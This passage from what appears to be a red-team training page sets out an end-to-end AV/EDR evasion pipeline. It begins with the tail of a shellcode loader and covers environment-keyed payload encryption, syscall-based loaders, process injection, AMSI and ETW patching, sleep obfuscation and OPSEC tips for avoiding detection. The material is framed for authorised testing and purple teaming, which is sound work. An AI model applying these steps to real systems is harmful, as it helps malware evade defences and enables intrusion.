((void(*)())execMem)();
return 0;
}
In a production red team loader, you would replace Win32 API calls with direct/indirect syscalls, add sleep obfuscation, implement unhooking, and include anti-analysis checks.
AV/EDR Evasion Pipeline
Building a complete evasion pipeline is the culmination of all techniques on this page. The goal is a repeatable, testable workflow that transforms a raw payload into a fully evasive artifact.
graph LR
A["Raw Payload<br/>(Shellcode/DLL)"] --> B["Obfuscate<br/>(String encryption,<br/>control flow)"]
B --> C["Encrypt<br/>(AES-256,<br/>environment key)"]
C --> D["Loader<br/>(Syscalls, unhooking,<br/>anti-analysis)"]
D --> E["Inject/Execute<br/>(Module stomping,<br/>early bird APC)"]
E --> F["Post-Execution<br/>(ETW patch, AMSI patch,<br/>sleep obfuscation)"]
style A fill:#ff6b6b,color:#fff
style B fill:#ffa07a,color:#000
style C fill:#ffd93d,color:#000
style D fill:#6bcb77,color:#000
style E fill:#4d96ff,color:#fff
style F fill:#9b59b6,color:#fff
End-to-End Workflow
Stage 1: Generate Raw Payload Start with your C2 implant shellcode (Cobalt Strike, Mythic, Sliver, etc.). This raw shellcode will be detected instantly by any AV — that is expected.
Stage 2: Obfuscate Apply string encryption, remove debug symbols, obfuscate control flow. For .NET payloads, use tools like ConfuserEx or custom obfuscators. For native code, apply compile-time obfuscation or LLVM-based transforms.
Stage 3: Encrypt AES-256 encrypt the shellcode. Consider environment keying — derive the decryption key from a target-specific value (domain name, username, hostname) so the payload only decrypts in the intended environment. This defeats sandbox analysis.
Stage 4: Build the Loader The loader is the most critical component. It must:
- Resolve APIs dynamically (no suspicious imports)
- Use direct or indirect syscalls for sensitive operations
- Implement anti-analysis checks (debugger detection, sandbox detection)
- Decrypt the shellcode at runtime
- Optionally unhook ntdll before injection
- Patch AMSI and ETW before executing .NET payloads
Stage 5: Choose Injection/Execution Method Select based on the target environment and OPSEC requirements:
- Self-injection (simplest) — Allocate, write, execute in your own process
- Early bird APC — For maximum stealth, inject before EDR hooks load
- Module stomping — Overwrite a legitimate DLL section in a remote process
- Process hollowing/ghosting — For full process impersonation
Stage 6: Post-Execution Hardening Once your implant is running:
- Patch
EtwEventWriteto blind ETW telemetry - Patch
AmsiScanBufferif running .NET/PowerShell tools - Implement sleep obfuscation (encrypt implant memory during sleep, change permissions to RW)
- Set up proper C2 communication channels (see C2 Frameworks)
Testing Methodology
Local testing environment:
- Run the target EDR in a VM with full telemetry enabled
- Test each stage independently (Does the encrypted payload trigger static detection? Does the loader trigger behavioral detection?)
- Use process monitoring tools (Process Monitor, API Monitor) to verify your syscalls work
Iterative testing:
- Test against Windows Defender first (free, well-documented signatures)
- Graduate to commercial EDRs (CrowdStrike, SentinelOne, Elastic, Microsoft Defender for Endpoint)
- Test behavioral detection: Does your injection technique trigger alerts even if the payload is benign?
- Test network detection: Does your C2 communication trigger NDR alerts?
What NOT to do:
- Never upload payloads to VirusTotal — Samples are shared with all AV vendors. Your custom loader’s signatures will be added within hours. Use local testing only.
- Never test against production environments — Use dedicated lab EDR instances
- Alternatives to VirusTotal: antiscan.me, local AV installations, private Elastic/YARA rule testing
OPSEC Considerations
Compilation OPSEC:
- Strip Rich headers from PE files (compiler metadata)
- Remove debug paths (PDB paths leak your username/directory structure)
- Randomize PE timestamps and section names
- Use different compilers/versions than your team’s standard toolchain
Payload OPSEC:
- One payload per target engagement (do not reuse across clients)
- Unique encryption keys per deployment
- Environment-keyed payloads that refuse to run outside the target network
- Kill dates that disable the payload after the engagement ends
Execution OPSEC:
- Choose injection targets that make sense (inject into a browser process if C2 uses HTTPS, not into
calc.exe) - Match parent-child process relationships to normal behavior
- Execute during business hours from expected user sessions
- Use legitimate cloud services for staging where possible
Infrastructure OPSEC:
- Separate testing infrastructure from operational infrastructure
- Different C2 domains/IPs for development vs. deployment
- Assume every artifact you create will be analyzed by incident responders
Connecting the Pieces
Stealth and evasion do not exist in isolation. They are the foundation that every other red team activity depends on:
- C2 Frameworks require evasive loaders and communication channels — see C2 Frameworks for how implant generation ties into the evasion pipeline
- Active Directory attacks like DCSync, Kerberoasting, and credential dumping all trigger specific EDR detections that require the techniques on this page to execute safely — see Active Directory Attacks
- Purple Teaming exercises validate whether defensive controls detect these techniques, closing the loop between red and blue — see Purple Teaming
The arms race between detection and evasion continues to accelerate. Techniques that work today may be detected tomorrow. The fundamental skill is not memorizing bypasses but understanding the detection mechanisms deeply enough to develop new ones. Study EDR internals, reverse-engineer detection logic, and build custom tooling — that is the path to reliable evasion.
Key Takeaways
- Understand the defender’s perspective — Know how EDRs work at every layer (kernel callbacks, userland hooks, ETW, cloud analytics) before attempting to evade them
- Layer your evasion — No single technique is sufficient. Combine blinding, blending, and hiding approaches
- AMSI and ETW patching are prerequisites for running offensive .NET/PowerShell tools in modern environments
- Syscalls bypass userland hooks but do not bypass kernel callbacks or ETW providers. They are one layer of a multi-layer strategy
- Process injection choice matters — Select techniques based on OPSEC requirements, not just capability
- BYOVD is the nuclear option — It provides kernel access but is increasingly detected via driver blocklists and HVCI
- Build a repeatable pipeline — From payload generation through obfuscation, encryption, loading, and injection
- Never upload to VirusTotal — Test locally, test iteratively, and keep your tooling private
- OPSEC is continuous — From compilation metadata to execution timing to infrastructure separation, every detail matters
- Techniques expire — Invest in understanding fundamentals so you can develop new bypasses when current ones are detected